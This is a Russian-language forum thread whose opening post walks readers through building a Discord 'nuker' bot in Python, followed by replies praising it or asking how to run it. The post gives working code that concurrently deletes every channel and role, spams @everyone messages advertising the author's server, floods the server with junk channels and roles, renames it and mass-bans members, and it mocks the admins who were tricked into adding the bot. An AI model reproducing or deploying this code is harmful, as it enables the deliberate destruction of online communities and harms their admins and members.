Загрузка...

Building the fastest crash bot for Discord in Python

Thread in Python created by forzeldiscord Feb 1, 2022. (bumped Feb 2, 2022) 9428 views

  1. forzeldiscord
    forzeldiscord Topic starter Feb 1, 2022 Banned 13 Jan 30, 2022
    Я знаю, были простые крашботы на форуме. Но, во первых, 90% из них устарели, во вторых - мой бот является быстрее других в несколько раз.

    :coinflip: Шалом всем, сегодня я вам покажу простенький код очень быстрого краш-бота на питоне. Ранее таких нигде на форуме не было.
    Для начала, качаем Python c сайтa https://python.org/downloads , запускаем установщик, и в установщике обязательно ставим галку Add Python to path везде, где она есть, далее все делаем по принципу "Далее --> далее --> далее".
    После установки, открываем консоль (win + r -> cmd) и вводим в неё эти команды:
    • pip install discord
    • pip install asyncio
    Перезапусти комп, если не помогло, удали питон и скачай заного, НО НЕ ЗАБУДЬ СТАВИТЬ ГАЛКУ ADD PYTHON TO PATH ПРИ УСТАНОВКЕ!
    После этого перезапускаем ваш комп :hi:
    Идём на https://discord.com/developers/applications , создаём там бота, и в разделе bot ставим галку members intents, и копируем токен бота
    Теперь создаем файл main.py, и открываем его через блокнот, и пишем начало кода:
    Python
    from discord import Intents
    from discord.ext import commands
    from requests import put
    from asyncio import create_task
    import discord
    Это мы импортируем необходимые библиотеки для работы с ботом. Идём дальше.
    Python
    prefix = '!' # наш префикс

    token = 'бот токен' #токен бота с developers portal

    # включаем интенты и создаем переменную бота (client)
    intents = Intents.default()
    intents.members = True
    client = commands.Bot(command_prefix=prefix,
    help_command=None,
    intents=intents)
    По комментариям думаю все понятно, в переменную token помещаем токен бота (в разделе bot на сайте developer portal cтавьте галку members intents):smile_drinking:
    Python
    async def killchannel(ctx,ch):
    try:
    await ch.delete()
    except:
    pass

    async def sendch(ctx,ch,text,count):
    for _ in range(count):
    try:
    await ch.send(text)
    except:
    pass


    async def killrole(ctx,role):
    try:
    await role.delete()
    except:
    pass

    async def createchannel(ctx):
    try:
    c = await ctx.guild.create_text_channel('crash-by-fastestnuker')
    except:
    pass
    else:
    create_task(sendch(ctx,ch=c,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=5))

    async def createrole(ctx):
    try:
    await ctx.guild.create_role(name='Crushed By Fastest Nuker')
    except:
    pass
    В данном куске кода содержатся все нужные нам функции чтобы крашить сервер - удаление канала/роли, создание канала/роли, спам в канал.

    :smile_facepalm:Теперь давайте разберемся, в чем заключается такая огромная скорость нашего бота и напишем основную команду краша. Давайте подумаем, все обычные краш боты удаляют каналы поочерёдно, тоесть, берут список всех каналов, и для каждого канала делает действие, сначала первый, когда первый удалит, начнет удалять второй, и т.д. - это медленно (ну хотя если у вас хороший хост, даже так норм), поскольку код ждет пока канал успешно удалится, чтобы пойти дальше. Как можно ускорить? Правильно. Для удаления каждого канала/роли и т.д. будем делать отдельный поток, тоесть, чтобы в дискорд одновременно пришли условно 50 запросов на удаление этих 50 каналов (в 1 случае бот ждет, пока дискорд даст ответ, в нашем случае мы не ждем). Что получится, на все запросы одновременно придет ответ, и каналы почти (около секунды) моментально удалятся.
    [IMG]
    [IMG]
    :smile_laugh:Конечно кринжовое фото-пояснение, но думаю теперь все поняли
    Короче, вот основная команда краша:
    Python
    @client.command()
    async def kill(ctx):
    for rolee in ctx.guild.roles:
    create_task(killrole(ctx,role=rolee))
    for channel in ctx.guild.text_channels:
    create_task(sendch(ctx,ch=channel,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=1))
    for channel in ctx.guild.channels:
    create_task(killchannel(ctx,ch=channel))
    for _ in range(50):
    create_task(createchannel(ctx))
    create_task(createrole(ctx))
    Тут меняйте ссылку на сервер под себя, текст можете оставить - угарный слишком как по мне.
    Для начала, бот спамит во все старые каналы (которые до краша) (тоже используя потоки) (зачем? - если на сервере стоит защита и бота кикнет - спам останется), после этого удаляет роли и каналы, ну и одновременно с этим также на макс скорости создает каналы и роли.
    Одна команда - как то не в кайф, хоть и автокраш. Вот вам еще команд:
    Code
    @client.command()
    async def rename(ctx):
    with open('icon.PNG', 'rb') as f:
    icon = f.read()
    await ctx.guild.edit(name='Crashed by Fastest Nuker', icon=icon)

    async def banus(ctx, limit=None):
    fetched = ctx.guild.fetch_members(limit=limit)
    memlist = await fetched.flatten()
    for member in memlist:
    if member.roles[-1].position >= ctx.guild.me.roles[-1].position:
    continue
    put(f'https://discord.com/api/guilds/{guild.id}/bans/{member.id}', headers={'Authorization': 'Bot ' + token, 'X-Audit-Log-Reason': 'Crushed by FastestNuker'}, json={'delete_message_days': 1})

    @client.command()
    async def banall(ctx):
    create_task(banus(ctx,limit=None))
    Тут смена иконки серверу и бан всех тоже с +- норм скоростью (положите в каталог с файлом main.py иконку с названием icon.PNG (именно так), которая будет ставиться при использовании команды rename)
    :smile_yahoo:Я не забыл и про хелп:
    Python
    @client.command()
    async def help(ctx):
    try:
    await ctx.author.send(embed=discord.Embed(title='FastestNuker',description=f'`!kill` - авто краш сервера\n`!rename` - сменить иконку и имя серверу\n`!banall` - бан всех участников сервера',colour=discord.Colour.from_rgb(228,66,0)))
    except:
    await ctx.send(embed=discord.Embed(title='Открой личку чтобы чекнуть хелп'))

    await ctx.message.delete()
    Ну и запуск бота:
    Python
    client.run(token)
    Теперь открываем файл main.py и бот запускается, пользуйтесь:smile_laugh:
    (Ссылку на бота берите в discord developer portal, если шо - в инете много инфы как делать ссылку на бота):peperain:
     
  2. lamgf
    lamgf Feb 1, 2022 0 Jan 30, 2022
  3. Banjiro_me
    Banjiro_me Feb 2, 2022 Banned 261 Jul 26, 2019
    Можно реализовать побыстрее, но для статейки на форум збс
     
    1. Z3nafey
      Banjiro_me, можете пожалуйста показать, как можно быстрее сделать?
  4. Mr_Friz
    Mr_Friz Apr 11, 2022 0 Apr 11, 2022
    Как его уместить теперь? (я новичок)
     
  5. kokichi_ouma106
    kokichi_ouma106 Jun 7, 2022 Banned 0 May 20, 2021
    актуально?
     
  6. fantomio_lip
    уничтожил серв за 5 сек:claps::love2:
     
  7. Nyrfi
    Nyrfi Aug 1, 2022 1 May 20, 2022
    Можете помочь, как запустить бота
     
  8. Broul_Stas
    Broul_Stas Aug 27, 2022 0 Sep 11, 2021
    не работает чел
     
    1. Aendy
      Broul_Stas, дату создания статьи видел?
  9. Selfi_Tank
    Selfi_Tank Oct 20, 2022 0 Aug 29, 2022
    Ерор выдает
     
  10. jonijmihson
    как запустить бота и как сделать ссылку на добавления я новичек просто
     
  11. s1mpleqw
    s1mpleqw May 26, 2023 0 Feb 25, 2022
    дайте плз фулл код сразу, а то лень по кусочкам копировать, заранее спасибо:)
     
    1. s1mpleqw
      Zlobncheat, спс, сорри, не заметил
  12. Rovisa
    Rovisa May 27, 2023 0 May 27, 2023
  13. Сэнко
    Сэнко Jul 23, 2024 306 May 25, 2021
    эх, жаль пацанчик отлетел
     
  14. Versus_Play
    Versus_Play Nov 24, 2024 Накрутка покупателей - https://lolz.live/threads/8699179/ 907 Mar 6, 2020
    актуально еще?)
     
Top
Loading...